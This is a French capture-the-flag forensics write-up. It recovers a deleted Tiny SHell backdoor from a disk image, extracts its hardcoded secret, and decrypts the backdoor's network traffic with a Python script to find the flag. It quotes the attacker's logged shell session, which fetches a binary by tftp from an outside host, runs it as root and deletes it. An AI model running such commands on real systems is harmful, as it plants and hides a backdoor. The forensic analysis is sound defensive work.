Solution de lrstx pour sadmind

forensics disque réseau linux

28 mars 2026

Table des matières

Analyse

Je commence par ouvrir la capture réseau.

Les protocoles observés :

  • SADMIND : rien d’intéressant.
  • Portmap : à voir éventuellement.
  • Data : plusieurs sessions TCP.

Dans la session TCP sur le port 1524, on voit des commandes :

id
uid=0(root) gid=1(other)
cd /sbin
echo "get portmap"|tftp 192.168.102.10
tftp> Received 45207 bytes in 0.5 seconds
tftp> chmod +x /sbin/portmap
/sbin/portmap
rm /sbin/portmap

Après la suppression du binaire portmap, on voit du trafic TCP sur le port 7586. On suppose alors qu’il va falloir aller chercher le binaire effacé, sachant que l’énoncé nous l’indique comme étant Tiny SHell (pas celui-là, celui-ci).

La tentative de récupération par Sleuthkit échoue :

$ fls -d -r evidences/HD3.hda 2 | grep portmap
-/- * 0:	sbin/portmap

Je me rabats sur Photorec, mais impossible de filtrer sur le nom du fichier, on se retrouve avec toute une palanquée de fichiers restaurés. On cherche quelque chose qui ressemble à Tiny SHell, alors je tente plusieurs noms de fonction, et on a toujours les mêmes deux matchs:

$ grep -rail aes_set_key output/
output/recup_dir.2/f1450464.elf
output/recup_dir.2/f1450656.elf

Le deuxième a l’air en meilleur état :

$ file output/recup_dir.2/f1450464.elf output/recup_dir.2/f1450656.elf
output/recup_dir.2/f1450464.elf: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), dynamically linked, interpreter /usr/lib/ld.so.1, too large section header offset 1746955893
output/recup_dir.2/f1450656.elf: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), dynamically linked, interpreter /usr/lib/ld.so.1, stripped

La backdoor chiffre sa communication réseau. Le secret est hardcodé donc on doit pouvoir le retrouver dans le binaire. J’ouvre avec ghidra, mais il manque des symboles, il va falloir reconstruire un peu.

On cherche l’appel à pel_server_init. FUN_000162a8 ressemble au main de tshd.c. Mais aussi le process_client() (optimisation ou modification?). Du coup, FUN_000115b4 est pel_server_init().

Voilà son appel :

DAT_00029830 = DAT_00029830 ^ 0x80808080;
DAT_00029834 = DAT_00029834 ^ 0x80808080;
iVar3 = FUN_000115b4(iVar4);

Le secret est censé être le deuxième paramètre de la fonction, mais dans cette version, c’est une variable globale. Le XOR juste avant est louche d’autant qu’il n’est pas dans le code source d’origine…

DAT_00029830 
        00029830 c6 c3 d3 c3
DAT_00029834
        00029834 b2 b0 b2 b3

On décode et on obtient comme secret FCSC2023. On est bien sur la bonne piste !

Ne reste plus (ahah) qu’à décrypter la communication réseau. Je n’ai pas trouvé d’outil existant (il paraît pourtant qu’il en existe). Donc je lis le code de Tiny SHell:

  • à la connexion, le client envoie deux IV de 20 octets chacun (un pour le client, l’autre pour le serveur).
  • le deuxième paquet envoyé par le client est un challenge.
  • on lui retourne alors le challenge serveur.
  • puis la communication se poursuit, chiffrée par AES et signée par HMAC.

Le contexte de gestion est le suivant :

struct pel_context
{
    /* AES-CBC-128 variables */

    struct aes_context SK;      /* Rijndael session key  */
    unsigned char LCT[16];      /* last ciphertext block */

    /* HMAC-SHA1 variables */

    unsigned char k_ipad[64];   /* inner padding  */
    unsigned char k_opad[64];   /* outer padding  */
    unsigned long int p_cntr;   /* packet counter */
};

La fonction pel_setup_context() initialise les clefs AES en hachant le secret avec les IVs envoyés par le client :

void pel_setup_context( struct pel_context *pel_ctx,
                        char *key, unsigned char IV[20] )
{
    int i;
    struct sha1_context sha1_ctx;

    sha1_starts( &sha1_ctx );
    sha1_update( &sha1_ctx, (uint8 *) key, strlen( key ) );
    sha1_update( &sha1_ctx, IV, 20 );
    sha1_finish( &sha1_ctx, buffer );

    aes_set_key( &pel_ctx->SK, buffer, 128 );

    memcpy( pel_ctx->LCT, IV, 16 );

    [...]
}

Puis, sur réception d’un paquet (pel_recv_msg()), le serveur :

  • déchiffre par AES les 16 premiers octets.
  • XORe ces octets avec le précédent.
  • les deux premiers octets donnent la taille de la payload du paquet (elle exclue taille et signature).
  • lit la suite du paquet.
  • vérifie la signature HMAC.
  • déchiffre le paquet complet, et de nouveau XORe avec le précédent.

Pour déchiffrer la communication, on se fiche des challenges et de la signature. Cela va nous simplifier les choses. De plus, le XOR sur les blocs déchiffrés est en fait équivalent à un AES-CBC, il faut juste conserver la fin d’un paquet chiffré qui va servir d’IV pour le paquet suivant.

J’écris un script pour extraire et déchiffrer la communication avec le pseudo-algorithme suivant:

  • ouverture de la capture et recherche des échanges sur le port 7586.
  • filtrer les paquets pour ne garder que les PSH+ACK.
  • extraction des IVs dans le premier paquet envoyé par le client.
  • puis on déchiffre chaque paquet restant, avec le contexte du client ou du serveur suivant le sens de communication.

Son exécution donne le résultat suivant:

< Receiving IVs
< length=16 msg=b'X\x90\xae\x86\xf1\xb9\x1c\xf6)\x83\x95q\x1d\xdeX\r'
> length=16 msg=b'X\x90\xae\x86\xf1\xb9\x1c\xf6)\x83\x95q\x1d\xdeX\r'
< length=1 msg=b'\x03'
< length=14 msg=b'xterm-256color'
> length=21 msg=b'tpe-link-test?=true\r\n'
> length=22 msg=b'output-device=screen\r\n'
> length=23 msg=b'input-device=keyboard\r\n'
> length=23 msg=b'sbus-probe-list=40123\r\n'
> length=23 msg=b'keyboard-click?=false\r\n'
> length=29 msg=b'keymap: data not available.\r\n'
> length=24 msg=b'ttyb-rts-dtr-off=false\r\n'
> length=21 msg=b'ttyb-ignore-cd=true\r\n'
> length=24 msg=b'ttya-rts-dtr-off=false\r\n'
> length=21 msg=b'ttya-ignore-cd=true\r\n'
> length=24 msg=b'ttyb-mode=9600,8,n,1,-\r\n'
> length=24 msg=b'ttya-mode=9600,8,n,1,-\r\n'
> length=20 msg=b'fcode-debug?=false\r\n'
> length=32 msg=b'diag-file: data not available.\r\n'
> length=17 msg=b'diag-device=net\r\n'
> length=32 msg=b'boot-file: data not available.\r\n'
> length=18 msg=b'boot-device=disk\r\n'
> length=17 msg=b'auto-boot?=true\r\n'
> length=36060 msg=b'\xbaV(\xb4k\xb1\xbek_{\x08m\x10\x97ess?=false\r\ni\tt\xe5'
> length=20 msg=b'screen-#columns=80\r\n'
> length=17 msg=b'screen-#rows=34\r\n'
> length=18 msg=b'selftest-#megs=1\r\n'
> length=21 msg=b'scsi-initiator-id=7\r\n'
> length=20 msg=b'use-nvramrc?=false\r\n'
> length=30 msg=b'nvramrc: data not available.\r\n'
> length=22 msg=b'sunmon-compat?=false\r\n'
> length=20 msg=b'security-mode=none\r\n'
> length=40 msg=b'security-password: data not available.\r\n'
> length=32 msg=b'security-#badlogins=2863311530\r\n'
> length=31 msg=b'oem-logo: data not available.\r\n'
> length=17 msg=b'oem-logo?=false\r\n'
> length=35 msg=b'oem-banner=FCSC{4f991cb32d13aa01}\r\n'
> length=19 msg=b'oem-banner?=false\r\n'
> length=47 msg=b'hardware-revision=\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa...\r\n'
> length=50 msg=b'last-hardware-update=\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa...\r\n'
> length=12 msg=b'testarea=0\r\n'
> length=19 msg=b'mfg-switch?=false\r\n'
> length=20 msg=b'diag-switch?=false\r\n'

En plissant les yeux, on découvre le flag dans les échanges. :)

Script de résolution

#!/usr/bin/env python3

import dpkt
from hashlib import sha1
from Crypto.Cipher import AES

secret = b'FCSC2023'
pcap = open('sadmind.pcap','rb')

class encryption_ctx():
    def __init__(self, iv):
        # AES key
        self.sk = self.init_key_context(iv)
        # Previous decrypted block
        self.lct =iv[:16]

    def init_key_context(self, iv):
        hash = sha1(secret)
        hash.update(iv)
        return hash.digest()[:16]
        
    def decrypt(self, buffer):
        # Extend the buffer to a multiple of 16 bits
        if len(buffer)%16 != 0:
            buffer += b'\x00' * (16 - len(buffer)%16)

        # AES decrypt
        cipher = AES.new(self.sk, AES.MODE_CBC, iv=self.lct)
        plain = cipher.decrypt(buffer)

        # Extract the message
        length = (plain[0] << 8) + plain[1]
        message = plain[2:2+length]

        # Keep the value of the last block
        self.lct = buffer[-16:]

        return length, bytes(message)

ctx = dict()
for ts, pkt in dpkt.pcap.Reader(pcap):
    # Only TCP
    eth=dpkt.ethernet.Ethernet(pkt) 
    if eth.type != dpkt.ethernet.ETH_TYPE_IP:
        continue
    ip = eth.data
    if ip.p != dpkt.ip.IP_PROTO_TCP:
        continue

    # Only the port
    tcp = ip.data
    if tcp.dport != 7586 and tcp.sport != 7586:
        continue

    # Only PSH+ACK
    if tcp.flags & dpkt.tcp.TH_PUSH == 0 or tcp.flags & dpkt.tcp.TH_ACK == 0:
       continue

    payload = tcp.data
    # First packet : IVs
    if len(ctx) == 0:
        print(f'< Receiving IVs')
        ctx['client'] = encryption_ctx(payload[:20])
        ctx['server'] = encryption_ctx(payload[20:])
    # Then the communication
    else:
        # Remove HMAC
        payload = payload[:-20]
        # Client
        if tcp.dport == 7586:
            length, msg = ctx['client'].decrypt(payload)
            print(f'< {length=} {msg=}')
        # Server
        else:
            length, msg = ctx['server'].decrypt(payload)
            print(f'> {length=} {msg=}')